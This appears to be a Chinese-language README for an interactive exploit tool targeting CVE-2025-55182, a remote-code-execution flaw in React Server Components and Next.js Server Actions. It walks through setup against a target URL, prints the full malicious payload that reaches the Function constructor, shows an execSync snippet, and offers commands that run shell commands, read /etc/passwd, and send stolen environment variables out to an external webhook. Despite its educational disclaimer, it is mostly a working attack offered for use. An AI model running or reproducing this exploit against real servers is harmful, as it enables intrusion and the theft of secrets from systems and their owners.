用于利用 CVE-2025-55182 的交互式 shell,该漏洞是 React Server Components 中的一个远程代码执行漏洞。
本工具仅供教育和授权安全测试使用。
CVE-2025-55182 影响以下环境中的 React Server Components (RSC):
该漏洞允许攻击者通过发送到 Server Actions 的恶意载荷实现远程代码执行(RCE)。
$@x 语法来引用内部 Chunk 对象.then() 方法的对象(类似 Promise)_response、_formData 和 _prefix 属性的恶意载荷Function 构造函数$3:constructor:constructor → Function constructor → RCE
git clone https://github.com/NathanJ60/react2shell-interactive.git
cd react2shell-interactive
npm install
编辑 exploit.js 并更新以下值:
const TARGET_URL = 'http://localhost:3000/' // Vulnerable Next.js server
const WEBHOOK_URL = 'https://webhook.site/YOUR-ID' // Your webhook URL
在 https://webhook.site 获取免费 webhook
node exploit.js
react2shell> !test
[+] Sent! Check webhook
react2shell> whoami
[+] Sent: whoami
react2shell> ls -la
[+] Sent: ls -la
react2shell> !env
[+] Sent! Check webhook for env vars
结果会出现在您的 webhook 中,而不是终端中。
{
'0': '$1',
'1': {
'status': 'resolved_model',
'reason': 0,
'_response': '$4',
'value': '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
'then': '$2:then'
},
'2': '$@3',
'3': [],
'4': {
'_prefix': '<JAVASCRIPT_CODE>//',
'_formData': { 'get': '$3:constructor:constructor' },
'_chunks': '$2:_response:_chunks'
}
}
next-action 头部$@3 创建一个 Chunk 引用$3:constructor:constructor 遍历到 Function_prefix 的内容被传递给 Function() 并执行require() 不可用import():
import("child_process").then(cp => cp.execSync("whoami"))
升级到以下版本以修复该漏洞:
MIT 许可证 - 仅用于教育目的。
安全研究 PoC - 请负责任地使用。
| 命令 | 描述 |
|---|
!test | 测试漏洞利用是否有效(向 webhook 发送确认) |
!env | 窃取环境变量 (process.env) |
!js <code> | 执行自定义 JavaScript |
!help | 显示帮助 |
!exit | 退出 |
<command> | 执行 shell 命令(例如 whoami、ls、cat /etc/passwd) |